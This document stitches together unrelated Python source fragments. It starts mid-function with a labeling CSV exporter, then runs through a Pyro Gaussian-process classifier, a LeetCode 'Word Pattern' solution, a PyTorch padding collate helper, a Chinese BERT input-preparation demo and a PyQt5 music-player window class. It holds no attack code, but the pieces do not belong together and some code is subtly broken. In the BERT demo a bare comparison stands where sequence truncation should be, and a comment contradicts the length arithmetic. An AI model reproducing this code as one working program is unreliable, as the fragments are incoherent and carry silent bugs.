            for label in labeling_definition["labels"]:
                dataset_labels = filter(lambda x: x["type"] == label["_id"], labeling["labels"])
                newLabelCol = "label_" + labeling_name + "_" + label["name"]
                final_df[newLabelCol] = ""
                for dataset_label in dataset_labels:
                    start = int(dataset_label["start"])
                    end = int(dataset_label["end"])
                    final_df.loc[start:end, newLabelCol] = "x"

        textStream = StringIO()
        final_df.to_csv(textStream, index=True)
        return textStream, fileName


# Import libraries.
import os
import sys
import json
import matplotlib.pyplot as plt
import numpy as np
import pyro
import pyro.distributions as dist
from pyro.infer.mcmc.api import MCMC
from pyro.infer.mcmc import NUTS, HMC
import torch
import torch.distributions.constraints as constraints
from torch.nn.functional import pad
from tqdm import trange
from sklearn.datasets import make_moons

# For ADVI
from pyro.infer import SVI, Trace_ELBO, TraceEnum_ELBO
from pyro.contrib.autoguide import AutoDiagonalNormal
from pyro.optim import Adam

# For GP
import pyro.contrib.gp as gp

# Default to double precision for torch objects.
torch.set_default_dtype(torch.float64)

# Make data.
X, y = make_moons(n_samples=50, shuffle=True, noise=0.1, random_state=1)
X = torch.from_numpy(X)
y = torch.from_numpy(y)

# Model definition.
def sq_exp_kernel(d, alpha, rho):
    return alpha * alpha * torch.exp(-0.5 * torch.pow(d / rho, 2))

def compute_f(alpha, rho, beta, eta, X):
    N = X.shape[0]
    D = torch.cdist(X, X)
    K = sq_exp_kernel(D, alpha, rho) + torch.eye(N) * 1e-6
    L = K.cholesky()
    return L.matmul(eta) + beta

# GP Binary Classifier.
def gpc(X, y):
    N = y.shape[0]

    # Priors.
    alpha = pyro.sample('alpha', dist.LogNormal(0, 1))
    rho = pyro.sample('rho', dist.LogNormal(0, 1))
    beta = pyro.sample('beta', dist.Normal(0, 1))

    with pyro.plate('latent_response', N):
        eta = pyro.sample('eta', dist.Normal(0, 1))

    # Latent function.
    f = compute_f(alpha, rho, beta, eta, X)

    with pyro.plate('response', N):
        pyro.sample('obs', dist.Bernoulli(logits=f), obs=y)

# HMC
pyro.clear_param_store()  # clear global parameter cache.
pyro.set_rng_seed(2) # set random number generator seed.
hmc = MCMC(HMC(gpc, step_size=0.05, trajectory_length=1,
               adapt_step_size=False, adapt_mass_matrix=False,
               jit_compile=True),
           num_samples=500, warmup_steps=500)  # sampler setup.
hmc.run(X, y.double())  # run mcmc
hmc_posterior_samples = hmc.get_samples()  # get posterior samples.

# NUTS
pyro.clear_param_store()
pyro.set_rng_seed(2)
nuts = MCMC(NUTS(gpc, target_accept_prob=0.8, max_tree_depth=10,
                 jit_compile=True),
            num_samples=500, warmup_steps=500)
nuts.run(X, y.double())
nuts_posterior_samples = nuts.get_samples()

# ADVI
pyro.clear_param_store()  # clear global parameter cache
pyro.set_rng_seed(1)  # set random seed

# Automatically define variational distribution (a mean field guide).
guide = AutoDiagonalNormal(gpc)

# Create SVI object for optimization.
svi = SVI(gpc, guide, Adam({'lr': 1e-2}), TraceEnum_ELBO())

# Do 1000 gradient steps.
advi_loss = []
for step in trange(1000):
    advi_loss.append(svi.step(X, y.double()))

# NOTE: See notebook to see full example.


'''290. Word Pattern

Given a pattern and a string s, find if s follows the same pattern.

Here follow means a full match,
such that there is a bijection between a letter in pattern and a non-empty word in s.

Example 1:

Input: pattern = "abba", s = "dog cat cat dog"
Output: true

Example 2:

Input: pattern = "abba", s = "dog cat cat fish"
Output: false

Example 3:

Input: pattern = "aaaa", s = "dog cat cat dog"
Output: false

Constraints:

    1 <= pattern.length <= 300
    pattern contains only lower-case English letters.
    1 <= s.length <= 3000
    s contains only lowercase English letters and spaces ' '.
    s does not contain any leading or trailing spaces.
    All the words in s are separated by a single space.

'''

def wordPattern(pattern,s):
    words=s.split(" ") #to make s as single words and ignore space we use split eg 'dog cat dog'=>"'dog','cat','dog'"
    if len(pattern)!=len(words):#if both length are not equal its not possible to do this program so return false incase
        return False
    pat_to_word={} #creating two dictionary for mapping letter to word and word to letter
    word_to_pat={}
    for c,w in zip(pattern,words):
        if (c in pat_to_word and pat_to_word[c]!=w) or (w in word_to_pat and word_to_pat[w]!=c):
            # important ,to avoid error bcos initally dictionary will be empty ,
            # so we will 1st check if c in pat_to_word and if pat_to_word mapped value and w value is not same it means different charcter and return false same for word_to_pat also
            return False
        pat_to_word[c]=w #mapping each letter of pattern to s
        word_to_pat[w]=c #mapping each word of s to pattern
    return True

pattern = "abba"
s = "dog cat cat dog"
a=wordPattern(pattern,s)
print(a)

pattern = "abba"
s = "dog cat cat fish"
a=wordPattern(pattern,s)
print(a)

pattern = "aaaa"
s = "dog cat cat dog"
a=wordPattern(pattern,s)
print(a)


# Taken from https://discuss.pytorch.org/t/dataloader-for-various-length-of-data/6418

import torch

def pad_tensor(vec, pad, dim):
    """
    args:
        vec - tensor to pad
        pad - the size to pad to
        dim - dimension to pad

    return:
        a new tensor padded to 'pad' in dimension 'dim'
    """
    pad_size = list(vec.shape)
    pad_size[dim] = pad - vec.size(dim)
    return torch.cat([vec, torch.zeros(*pad_size)], dim=dim)

class PadCollate(object):
    """
    a variant of callate_fn that pads according to the longest sequence in
    a batch of sequences
    """

    def __init__(self, dim=0):
        """
        args:
            dim - the dimension to be padded (dimension of time in sequences)
        """
        super().__init__()
        self.dim = dim

    def pad_collate(self, batch):
        """
        args:
            batch - list of (tensor, label)

        reutrn:
            xs - a tensor of all examples in 'batch' after padding
            ys - a LongTensor of all labels in batch
        """
        # find longest sequence
        lens = [[s.shape[self.dim] for s in x] for x in batch]
        lens_t = list(zip(*lens))
        max_lens = tuple([max(y) for y in lens_t])
        # pad according to max_len
        batch = [
            tuple(
                pad_tensor(torch.from_numpy(s) + 1, pad=l, dim=self.dim)
                for s, l in zip(x, max_lens)
            )
            for x in batch
        ]
        batch_t = list(zip(*batch))
        # stack all
        return tuple([torch.stack(s) for s in batch_t]), tuple(
            [torch.LongTensor(length) for length in lens_t]
        )

    def __call__(self, batch):
        return self.pad_collate(batch)


#!/usr/bin/python
# -*- coding:utf-8 -*-

import tensorflow as tf
from bert import modeling
from bert import tokenization
import os

# 一、加载BERT模型
# 这里是下载下来的bert配置文件
data_root = 'bert-use-demo-master/chinese_L-12_H-768_A-12/'
bert_config_file = data_root + 'bert_config.json'
bert_config = modeling.BertConfig.from_json_file(bert_config_file)
#  创建bert的输入
input_ids=tf.placeholder (shape=[64,128],dtype=tf.int32,name="input_ids")
input_mask=tf.placeholder (shape=[64,128],dtype=tf.int32,name="input_mask")
segment_ids=tf.placeholder (shape=[64,128],dtype=tf.int32,name="segment_ids")

# 创建bert模型
model = modeling.BertModel(
    config=bert_config,
    is_training=True,
    input_ids=input_ids,
    input_mask=input_mask,
    token_type_ids=segment_ids,
    use_one_hot_embeddings=False # 这里如果使用TPU 设置为True，速度会快些。使用CPU 或GPU 设置为False ，速度会快些。
)

#bert模型参数初始化的地方
init_checkpoint = "bert-use-demo-master/chinese_L-12_H-768_A-12/bert_model.ckpt"
use_tpu = False
# 获取模型中所有的训练参数。
tvars = tf.trainable_variables()
# 加载BERT模型

(assignment_map, initialized_variable_names) = modeling.get_assignment_map_from_checkpoint(tvars,
                                                                                init_checkpoint)

tf.train.init_from_checkpoint(init_checkpoint, assignment_map)

tf.logging.info("**** Trainable Variables ****")
# 打印加载模型的参数
for var in tvars:
    init_string = ""
    if var.name in initialized_variable_names:
        init_string = ", *INIT_FROM_CKPT*"
    tf.logging.info("  name = %s, shape = %s%s", var.name, var.shape,
                    init_string)
with tf.Session() as sess:
    sess.run(tf.global_variables_initializer())

# 二、获取BERT模型的输出
output_layer = model.get_sequence_output()# 这个获取每个token的output 输出[batch_size, seq_length, embedding_size] 如果做seq2seq 或者ner 用这个

# output_layer = model.get_pooled_output() # 这个获取句子的output

# 三、获取BERT模型的输入
def convert_single_example( max_seq_length,
                           tokenizer,text_a,text_b=None):
  tokens_a = tokenizer.tokenize(text_a)
  tokens_b = None
  if text_b:
    tokens_b = tokenizer.tokenize(text_b)# 这里主要是将中文分字
  if tokens_b:
    # 如果有第二个句子，那么两个句子的总长度要小于 max_seq_length - 3
    # 因为要为句子补上[CLS], [SEP], [SEP]
    tokens_a+tokens_b<=max_seq_length-3
    # _truncate_seq_pair(tokens_a, tokens_b, max_seq_length - 3)
  else:
    # 如果只有一个句子，只用在前后加上[CLS], [SEP] 所以句子长度要小于 max_seq_length - 3
    if len(tokens_a) > max_seq_length - 2:
      tokens_a = tokens_a[0:(max_seq_length - 2)]

  # 转换成bert的输入，注意下面的type_ids 在源码中对应的是 segment_ids
  # (a) 两个句子:
  #  tokens:   [CLS] is this jack ##son ##ville ? [SEP] no it is not . [SEP]
  #  type_ids: 0     0  0    0    0     0       0 0     1  1  1  1   1 1
  # (b) 单个句子:
  #  tokens:   [CLS] the dog is hairy . [SEP]
  #  type_ids: 0     0   0   0  0     0 0
  #
  # 这里 "type_ids" 主要用于区分第一个第二个句子。
  # 第一个句子为0，第二个句子是1。在预训练的时候会添加到单词的的向量中，但这个不是必须的
  # 因为[SEP] 已经区分了第一个句子和第二个句子。但type_ids 会让学习变的简单

  tokens = []
  segment_ids = []
  tokens.append("[CLS]")
  segment_ids.append(0)
  for token in tokens_a:
    tokens.append(token)
    segment_ids.append(0)
  tokens.append("[SEP]")
  segment_ids.append(0)
  if tokens_b:
    for token in tokens_b:
      tokens.append(token)
      segment_ids.append(1)
    tokens.append("[SEP]")
    segment_ids.append(1)
  input_ids = tokenizer.convert_tokens_to_ids(tokens)# 将中文转换成ids
  # 创建mask
  input_mask = [1] * len(input_ids)
  # 对于输入进行补0
  while len(input_ids) < max_seq_length:
    input_ids.append(0)
    input_mask.append(0)
    segment_ids.append(0)
  assert len(input_ids) == max_seq_length
  assert len(input_mask) == max_seq_length
  assert len(segment_ids) == max_seq_length
  return input_ids,input_mask,segment_ids ,tokens# 对应的就是创建bert模型时候的input_ids,input_mask,segment_ids 参数

# 下面开始调用分词并且生成输入数据
vocab_file="bert-use-demo-master/chinese_L-12_H-768_A-12/vocab.txt"
token = tokenization.FullTokenizer(vocab_file=vocab_file)
input_ids,input_mask,segment_ids,tokens = convert_single_example(100,token,"可以直接到编辑部买，地址，北京体育馆路8号，中国体育报业总社院内")

print('tokens:',tokens)
print('input_ids:',input_ids)
print('input_mask:',input_mask)
print('segment_ids:',segment_ids)


# coding:utf-8

import os
import json
from copy import deepcopy
from ctypes import POINTER, Structure, cast
from ctypes.wintypes import HWND, MSG, POINT, UINT
from random import shuffle
from time import time
from pprint import pp

from PyQt5.QtCore import QEasingCurve, Qt, pyqtSignal, QDateTime, QEvent
from PyQt5.QtGui import QCloseEvent, QIcon
from PyQt5.QtMultimedia import QMediaPlayer, QMediaPlaylist
from PyQt5.QtWidgets import QAction, QApplication, QWidget
from system_hotkey import SystemHotkey
from win32 import win32api, win32gui
from win32.lib import win32con

from effects import WindowEffect
from media_player import MediaPlaylist, PlaylistType
from my_album_interface import AlbumInterface
from my_playlist_panel_interface .create_playlist_panel import CreatePlaylistPanel
from my_music_interface import MyMusicInterface
from my_play_bar import PlayBar
from my_playing_interface import PlayingInterface
from my_playlist_card_interface import PlaylistCardInterface
from my_setting_interface import SettingInterface
from my_sub_play_window import SubPlayWindow
from my_thumbnail_tool_bar import ThumbnailToolBar
from my_title_bar import TitleBar
from my_widget.opacity_ani_stacked_widget import OpacityAniStackedWidget
from my_widget.pop_up_ani_stacked_widget import PopUpAniStackedWidget
from my_navigation_interface import NavigationInterface

from .c_structures import MINMAXINFO
from .monitor_functions import isMaximized

class MainWindow(QWidget):
    """ 主窗口 """
    BORDER_WIDTH = 5
    showSubPlayWindowSig = pyqtSignal()

    def __init__(self, parent=None):
        super().__init__(parent)
        # 实例化窗口特效
        self.windowEffect = WindowEffect()
        # 实例化小部件
        self.createWidgets()
        # 初始化标志位
        self.isInSelectionMode = False
        # 初始化界面
        self.__initWidget()

    def createWidgets(self):
        """ 创建小部件 """
        self.totalStackWidget = OpacityAniStackedWidget(self)
        self.subMainWindow = QWidget(self)
        self.titleBar = TitleBar(self)
        # 实例化播放器和播放列表
        self.player = QMediaPlayer(self)
        self.playlist = MediaPlaylist(self)
        # 实例化小部件
        self.subStackWidget = PopUpAniStackedWidget(self.subMainWindow)
        self.settingInterface = SettingInterface(self.subMainWindow)
        # 从配置文件中的选择文件夹读取音频文件
        t3 = time()
        self.myMusicInterface = MyMusicInterface(
            self.settingInterface.config.get('selected-folders', []), self.subMainWindow)
        t4 = time()
        print('创建整个我的音乐界面耗时：'.ljust(15), t4 - t3)
        # 将最后一首歌作为playBar初始化时用的songInfo
        self.lastSongInfo = self.settingInterface.config.get('last-song', {})
        # 创建缩略图任务栏
        self.thumbnailToolBar = ThumbnailToolBar(self)
        self.thumbnailToolBar.setWindow(self.windowHandle())
        # 创建左上角播放窗口
        self.subPlayWindow = SubPlayWindow(self, self.lastSongInfo)
        # 创建正在播放界面
        self.playingInterface = PlayingInterface(self.playlist.playlist, self)
        # 创建专辑界面
        self.albumInterface = AlbumInterface({}, self.subMainWindow)
        # 创建播放列表卡界面
        self.readCustomPlaylists()  # 读入所有播放列表
        self.playlistCardInterface = PlaylistCardInterface(
            self.customPlaylists, self)
        # 创建导航界面
        self.navigationInterface = NavigationInterface(self.subMainWindow)
        # 创建播放栏
        self.playBar = PlayBar(self.lastSongInfo, self)
        # 创建快捷键
        self.togglePlayPauseAct_1 = QAction(
            parent=self, shortcut=Qt.Key_Space, triggered=self.switchPlayState)
        self.showNormalAct = QAction(
            parent=self, shortcut=Qt.Key_Escape, triggered=self.exitFullScreen)
        self.lastSongAct = QAction(
            parent=self, shortcut=Qt.Key_MediaPrevious, triggered=self.playlist.previous)
        self.nextSongAct = QAction(
            parent=self, shortcut=Qt.Key_MediaNext, triggered=self.playlist.next)
        self.togglePlayPauseAct_2 = QAction(
            parent=self, shortcut=Qt.Key_MediaPlay, triggered=self.switchPlayState)
        self.addActions([self.togglePlayPauseAct_1, self.showNormalAct,
                         self.nextSongAct, self.lastSongAct, self.togglePlayPauseAct_2])
        # 创建stackWidget字典
        self.stackWidget_dict = {'subStackWidget': self.subStackWidget,
                                 'myMusicInterfaceStackWidget': self.myMusicInterface.stackedWidget}
        # 当前选中的专辑卡
        self.currentAlbumCard = None

    def __initWidget(self):
        """ 初始化小部件 """
        self.resize(1300, 1000)
        self.setMinimumSize(1030, 800)
        self.setWindowTitle('MyGroove音乐')
        self.setWindowFlags(Qt.FramelessWindowHint)
        self.setWindowIcon(QIcon('resource\\images\\透明icon.png'))
        self.setAttribute(Qt.WA_TranslucentBackground | Qt.WA_StyledBackground)
        # 在去除任务栏的显示区域居中显示
        desktop = QApplication.desktop().availableGeometry()
        self.move(int(desktop.width() / 2 - self.width() / 2),
                  int(desktop.height() / 2 - self.height() / 2))
        # 标题栏置顶
        self.titleBar.raise_()
        # 设置窗口特效
        self.setWindowEffect()
        # todo:将窗口添加到StackWidget中
        self.subStackWidget.addWidget(self.myMusicInterface, 0, 70, False)
        self.subStackWidget.addWidget(
            self.playlistCardInterface, 0, 160, False)
        self.subStackWidget.addWidget(self.settingInterface, 0, 160, False)
        self.subStackWidget.addWidget(self.albumInterface, 0, 70)
        self.totalStackWidget.addWidget(self.subMainWindow)
        self.totalStackWidget.addWidget(self.playingInterface)
        # 初始化标题栏的下标列表
        self.titleBar.stackWidgetIndex_list.append(
            ('myMusicInterfaceStackWidget', 0))
        # 设置右边子窗口的位置
        self.adjustWidgetGeometry()
        # 引用小部件
        self.referenceWidgets()
        # 设置层叠样式
        self.setObjectName('mainWindow')
        self.subMainWindow.setObjectName('subMainWindow')
        self.subStackWidget.setObjectName('subStackWidget')
        self.playingInterface.setObjectName('playingInterface')
        self.setQss()
        # 初始化播放列表
        self.initPlaylist()
        # todo:设置全局热键
        # self.setHotKey()
        # 将信号连接到槽函数
        self.connectSignalToSlot()
        # 初始化播放栏
        self.initPlayBar()
        # 安装事件过滤器
        self.navigationInterface.navigationMenu.installEventFilter(self)

    def setHotKey(self):
        """ 设置全局热键 """
        self.nextSongHotKey = SystemHotkey()
        self.lastSongHotKey = SystemHotkey()
        self.playHotKey = SystemHotkey()
        # callback会返回一个event参数，所以需要用lambda
        self.nextSongHotKey.register(
            ('f6',), callback=lambda x: self.hotKeySlot(self.playlist.next))
        self.lastSongHotKey.register(
            ('f4',), callback=lambda x: self.hotKeySlot(self.playlist.previous))
        self.playHotKey.register(
            ('f5',), callback=lambda x: self.hotKeySlot(self.switchPlayState))

    def setWindowEffect(self):
        """ 设置窗口特效 """
        self.hWnd = HWND(int(self.winId()))
        # 开启窗口动画
        self.windowEffect.setWindowAnimation(int(self.winId()))
        # 开启亚克力效果和阴影效果
        self.windowEffect.setAcrylicEffect(self.hWnd, 'F2F2F299', True)

    def adjustWidgetGeometry(self):
        """ 调整小部件的geometry """
        self.subMainWindow.resize(self.size())
        self.totalStackWidget.resize(self.size())
        self.titleBar.resize(self.width(), 40)
        if hasattr(self, 'navigationInterface'):
            self.navigationInterface.setOverlay(self.width() < 1280)
            self.subStackWidget.move(self.navigationInterface.width(), 0)
            self.subStackWidget.resize(
                self.width() - self.navigationInterface.width(), self.height())
            self.navigationInterface.resize(
                self.navigationInterface.width(), self.height())
        if hasattr(self, 'albumInterface'):
            if not self.playingInterface.smallestModeInterface.isVisible():
                self.albumInterface.resize(self.myMusicInterface.size())
        if hasattr(self, 'playBar'):
            if not self.playingInterface.smallestModeInterface.isVisible():
                self.playBar.resize(self.width(), self.playBar.height())

    def eventFilter(self, obj, e: QEvent):
        """ 过滤事件 """
        if obj == self.navigationInterface.navigationMenu:
            # 显示导航菜单是更改标题栏返回按钮和标题的父级为导航菜单
            isVisible = self.titleBar.returnBt.isVisible()
            if e.type() == QEvent.Show:
                self.titleBar.returnBt.setParent(obj)
                # 显示标题
                self.titleBar.title.setParent(obj)
                self.titleBar.title.move(15, 10)
                self.titleBar.title.show()
                # 如果播放栏课件就缩短导航菜单
                isScaled = self.playBar.isVisible()
                height = self.height() - isScaled * self.playBar.height()
                self.navigationInterface.navigationMenu.setBottomSpacingVisible(
                    not isScaled)
                self.navigationInterface.navigationMenu.resize(
                    self.navigationInterface.navigationMenu.width(), height)
            elif e.type() == QEvent.Hide:
                # 隐藏标题
                self.titleBar.title.hide()
                self.titleBar.title.setParent(self.titleBar)
                self.titleBar.returnBt.setParent(self.titleBar)
            # 根据情况显示/隐藏返回按钮和标题
            self.titleBar.returnBt.setVisible(isVisible)
        return super().eventFilter(obj, e)

    def resizeEvent(self, e):
        """ 调整尺寸时同时调整子窗口的尺寸 """
        super().resizeEvent(e)
        self.adjustWidgetGeometry()
        # 更新标题栏图标
        if isMaximized(int(self.winId())):
            self.titleBar.maxBt.setMaxState(True)

    def moveEvent(self, e):
        if hasattr(self, 'playBar'):
            if not self.isMaximized():
                self.playBar.move(self.x() - 8, self.y() +
                                  self.height() - self.playBar.height())
            else:
                self.playBar.move(self.x()+1, self.y() +
                                  self.height() - self.playBar.height() + 9)

    def closeEvent(self, e: QCloseEvent):
        """ 关闭窗口前更新json文件 """
        if self.playlist.currentIndex() >= 0:
            self.settingInterface.config['last-song'] = self.playlist.playlist[
                self.playlist.currentIndex()]
        else:
            self.settingInterface.config['last-song'] = {}
        self.settingInterface.config['volume'] = self.playBar.volumeSlider.value(
        )
        self.settingInterface.config['playBar-acrylicColor'] = self.playBar.acrylicColor
        self.settingInterface.writeConfig()
        self.playBar.close()
        self.subPlayWindow.close()
        self.playlist.save()
        e.accept()

    def nativeEvent(self, eventType, message):
        """ 处理windows消息 """
        msg = MSG.from_address(message.__int__())
        if msg.message == win32con.WM_NCHITTEST:
            xPos = win32api.LOWORD(msg.lParam) - self.frameGeometry().x()
            yPos = win32api.HIWORD(msg.lParam) - self.frameGeometry().y()
            w, h = self.width(), self.height()
            lx = xPos < self.BORDER_WIDTH
            rx = xPos + 9 > w - self.BORDER_WIDTH
            ty = yPos < self.BORDER_WIDTH
            by = yPos > h - self.BORDER_WIDTH
            if (lx and ty):
                return True, win32con.HTTOPLEFT
            elif (rx and by):
                return True, win32con.HTBOTTOMRIGHT
            elif (rx and ty):
                return True, win32con.HTTOPRIGHT
            elif (lx and by):
                return True, win32con.HTBOTTOMLEFT
            elif ty:
                return True, win32con.HTTOP
            elif by:
                return True, win32con.HTBOTTOM
            elif lx:
                return True, win32con.HTLEFT
            elif rx:
                return True, win32con.HTRIGHT
        elif msg.message == win32con.WM_NCCALCSIZE:
            if isMaximized(msg.hWnd):
                self.windowEffect.adjustMaximizedClientRect(
                    HWND(msg.hWnd), msg.lParam)
            return True, 0
        if msg.message == win32con.WM_GETMINMAXINFO:
            if isMaximized(msg.hWnd):
                window_rect = win32gui.GetWindowRect(msg.hWnd)
                if not window_rect:
                    return False, 0
                # 获取显示器句柄
                monitor = win32api.MonitorFromRect(window_rect)
                if not monitor:
                    return False, 0
                # 获取显示器信息
                monitor_info = win32api.GetMonitorInfo(monitor)
                monitor_rect = monitor_info['Monitor']
                work_area = monitor_info['Work']
                # 将lParam转换为MINMAXINFO指针
                info = cast(
                    msg.lParam, POINTER(MINMAXINFO)).contents
                # 调整位置
                info.ptMaxSize.x = work_area[2] - work_area[0]
                info.ptMaxSize.y = work_area[3] - work_area[1]
                info.ptMaxTrackSize.x = info.ptMaxSize.x
                info.ptMaxTrackSize.y = info.ptMaxSize.y
                # 修改放置点的x,y坐标
                info.ptMaxPosition.x = abs(
                    window_rect[0] - monitor_rect[0])
                info.ptMaxPosition.y = abs(
                    window_rect[1] - monitor_rect[1])
                return True, 1
        return QWidget.nativeEvent(self, eventType, message)

    def connectSignalToSlot(self):
        """ 将信号连接到槽 """
        # todo:设置界面信号连接到槽函数
        self.settingInterface.crawlComplete.connect(
            self.crawCompleteSlot)
        self.settingInterface.selectedFoldersChanged.connect(
            self.myMusicInterface.scanTargetPathSongInfo)
        # todo:标题栏返回按钮功能
        self.titleBar.returnBt.clicked.connect(
            self.returnButtonSlot)
        # todo:导航界面信号连接到槽函数
        self.navigationInterface.displayModeChanged.connect(
            self.navigationDisplayModeChangedSlot)
        self.navigationInterface.switchInterfaceSig.connect(
            self.stackWidgetIndexChangedSlot)
        self.navigationInterface.showPlayingInterfaceSig.connect(
            self.showPlayingInterface)
        self.navigationInterface.showCreatePlaylistPanelSig.connect(
            self.showCreatePlaylistPanel)
        self.navigationInterface.switchToSettingInterfaceSig.connect(
            self.switchToSettingInterface)
        self.navigationInterface.switchToMyMusicInterfaceSig.connect(
            self.switchToMyMusicInterface)
        self.navigationInterface.switchToPlaylistCardInterfaceSig.connect(
            self.switchToPlaylistCardInterface)
        # todo:缩略图任务栏各按钮的功能
        self.thumbnailToolBar.playButton.clicked.connect(self.switchPlayState)
        self.thumbnailToolBar.lastSongButton.clicked.connect(
            self.playlist.previous)
        self.thumbnailToolBar.nextSongButton.clicked.connect(
            self.playlist.next)
        # todo:播放栏各部件功能
        self.playBar.playButton.clicked.connect(self.switchPlayState)
        self.playBar.nextSongButton.clicked.connect(self.playlist.next)
        self.playBar.volumeButton.muteStateChanged.connect(self.setMute)
        self.playBar.randomPlayButton.clicked.connect(self.setRandomPlay)
        self.playBar.lastSongButton.clicked.connect(self.playlist.previous)
        self.playBar.songInfoCard.clicked.connect(self.showPlayingInterface)
        self.playBar.volumeSlider.valueChanged.connect(self.volumeChangedSlot)
        self.playBar.progressSlider.sliderMoved.connect(
            self.progressSliderMoveSlot)
        self.playBar.progressSlider.clicked.connect(
            self.progressSliderMoveSlot)
        self.playBar.loopModeButton.loopModeChanged.connect(
            self.switchLoopMode)
        self.playBar.moreActionsMenu.fillScreenAct.triggered.connect(
            self.setFullScreen)
        self.playBar.moreActionsMenu.showPlayListAct.triggered.connect(
            self.showPlaylist)
        self.playBar.moreActionsMenu.clearPlayListAct.triggered.connect(
            self.clearPlaylist)
        self.playBar.smallPlayModeButton.clicked.connect(
            self.showSmallestModeInterface)
        self.playBar.moreActionsMenu.savePlayListAct.triggered.connect(
            lambda: self.showCreatePlaylistPanel(self.playlist.playlist))
        # todo:将播放器的信号连接到槽函数
        self.player.positionChanged.connect(self.playerPositionChangeSlot)
        self.player.durationChanged.connect(self.playerDurationChangeSlot)
        # todo:将播放列表的信号连接到槽函数
        self.playlist.switchSongSignal.connect(self.updateWindow)
        self.playlist.currentIndexChanged.connect(
            self.playingInterface.setCurrentIndex)
        # todo:将正在播放界面信号连接到槽函数
        self.playingInterface.currentIndexChanged.connect(
            self.playingInterfaceCurrrentIndexChangedSlot)
        self.playingInterface.switchPlayStateSig.connect(
            self.switchPlayState)
        self.playingInterface.lastSongSig.connect(self.playlist.previous)
        self.playingInterface.nextSongSig.connect(self.playlist.next)
        self.playingInterface.playBar.randomPlayButton.clicked.connect(
            self.setRandomPlay)
        self.playingInterface.playBar.volumeSlider.muteStateChanged.connect(
            self.setMute)
        self.playingInterface.playBar.volumeSlider.volumeSlider.valueChanged.connect(
            self.volumeChangedSlot)
        self.playingInterface.playBar.progressSlider.sliderMoved.connect(
            self.progressSliderMoveSlot)
        self.playingInterface.playBar.progressSlider.clicked.connect(
            self.progressSliderMoveSlot)
        self.playingInterface.playBar.fillScreenButton.clicked.connect(
            self.setFullScreen)
        self.playingInterface.playBar.loopModeButton.loopModeChanged.connect(
            self.switchLoopMode)
        self.playingInterface.removeMediaSignal.connect(
            self.playlist.removeMedia)
        self.playingInterface.randomPlayAllSignal.connect(self.disorderPlayAll)
        self.playingInterface.switchToAlbumInterfaceSig.connect(
            self.switchToAlbumInterfaceByName)
        self.playingInterface.playBar.moreActionsMenu.clearPlayListAct.triggered.connect(
            self.clearPlaylist)
        self.playingInterface.playBar.moreActionsMenu.savePlayListAct.triggered.connect(
            lambda: self.showCreatePlaylistPanel(self.playlist.playlist))
        self.playingInterface.smallestModeStateChanged.connect(
            self.smallestModeStateChanedSlot)
        self.playingInterface.exitFullScreenSig.connect(self.exitFullScreen)
        # todo:歌曲界面歌曲卡列表视图的信号连接到槽函数
        self.songTabSongListWidget.playSignal.connect(
            self.songCardPlaySlot)
        self.songTabSongListWidget.playOneSongSig.connect(self.playOneSongCard)
        self.songTabSongListWidget.nextToPlayOneSongSig.connect(
            self.songCardNextPlaySlot)
        self.songTabSongListWidget.addSongToPlayingSignal.connect(
            self.addOneSongToPlayingPlaylist)
        self.songTabSongListWidget.switchToAlbumInterfaceSig.connect(
            self.switchToAlbumInterfaceByName)
        self.songTabSongListWidget.editSongCardSignal.connect(
            self.editSongCardSlot)
        # todo:将专辑卡的信号连接到槽函数
        self.albumCardViewer.playSignal.connect(self.playAlbum)
        self.albumCardViewer.nextPlaySignal.connect(
            self.multiSongsNextPlaySlot)
        self.albumCardViewer.switchToAlbumInterfaceSig.connect(
            self.switchToAlbumInterfaceByAlbumInfo)
        self.albumCardViewer.saveAlbumInfoSig.connect(self.updateAlbumInfo)
        # todo:将子播放窗口的信号连接槽槽函数
        self.subPlayWindow.nextSongButton.clicked.connect(self.playlist.next)
        self.subPlayWindow.lastSongButton.clicked.connect(
            self.playlist.previous)
        self.subPlayWindow.playButton.clicked.connect(self.switchPlayState)
        # todo:将我的音乐界面连接到槽函数
        self.myMusicInterface.randomPlayAllSig.connect(
            self.disorderPlayAll)
        self.myMusicInterface.playCheckedCardsSig.connect(
            self.playCheckedCards)
        self.myMusicInterface.currentIndexChanged.connect(
            self.stackWidgetIndexChangedSlot)
        self.myMusicInterface.nextToPlayCheckedCardsSig.connect(
            self.multiSongsNextPlaySlot)
        self.myMusicInterface.selectionModeStateChanged.connect(
            self.selectionModeStateChangedSlot)
        self.myMusicInterface.addSongsToCustomPlaylistSig.connect(
            self.addSongsToCustomPlaylist)
        self.myMusicInterface.addSongsToNewCustomPlaylistSig.connect(
            lambda songInfo_list: self.showCreatePlaylistPanel(songInfo_list))
        self.myMusicInterface.addSongsToPlayingPlaylistSig.connect(
            self.addSongsToPlayingPlaylist)
        # todo:将自己的信号连接到槽函数
        self.showSubPlayWindowSig.connect(self.subPlayWindow.show)
        # todo:将专辑界面的信号连接到槽函数
        self.albumInterface.playAlbumSignal.connect(self.playAlbum)
        self.albumInterface.songCardPlaySig.connect(
            self.albumInterfaceSongCardPlaySlot)
        self.albumInterface.playOneSongCardSig.connect(self.playOneSongCard)
        self.albumInterface.nextToPlayOneSongSig.connect(
            self.songCardNextPlaySlot)
        self.albumInterface.addOneSongToPlayingSig.connect(
            self.addOneSongToPlayingPlaylist)
        self.albumInterface.addSongsToPlayingPlaylistSig.connect(
            self.addSongsToPlayingPlaylist)
        self.albumInterface.songListWidget.editSongCardSignal.connect(
            self.editSongCardSlot)
        self.albumInterface.saveAlbumInfoSig.connect(self.updateAlbumInfo)
        self.albumInterface.selectionModeStateChanged.connect(
            self.selectionModeStateChangedSlot)
        self.albumInterface.playCheckedCardsSig.connect(self.playCheckedCards)
        self.albumInterface.nextToPlayCheckedCardsSig.connect(
            self.multiSongsNextPlaySlot)
        self.albumInterface.addSongsToCustomPlaylistSig.connect(
            self.addSongsToCustomPlaylist)
        self.albumInterface.addSongsToNewCustomPlaylistSig.connect(
            lambda songInfo_list: self.showCreatePlaylistPanel(songInfo_list))
        # todo:将播放列表界面信号连接到槽函数
        self.playlistCardInterface.selectionModeStateChanged.connect(
            self.selectionModeStateChangedSlot)
        self.playlistCardInterface.createPlaylistButton.clicked.connect(
            self.showCreatePlaylistPanel)
        self.playlistCardInterface.renamePlaylistSig.connect(
            self.renamePlaylistSlot)
        self.playlistCardInterface.deletePlaylistSig.connect(
            self.removePlaylistSlot)
        self.playlistCardInterface.playSig.connect(self.playCustomPlaylist)
        self.playlistCardInterface.nextToPlaySig.connect(
            self.multiSongsNextPlaySlot)

    def referenceWidgets(self):
        """ 引用小部件 """
        self.songTabSongListWidget = self.myMusicInterface.songCardListWidget
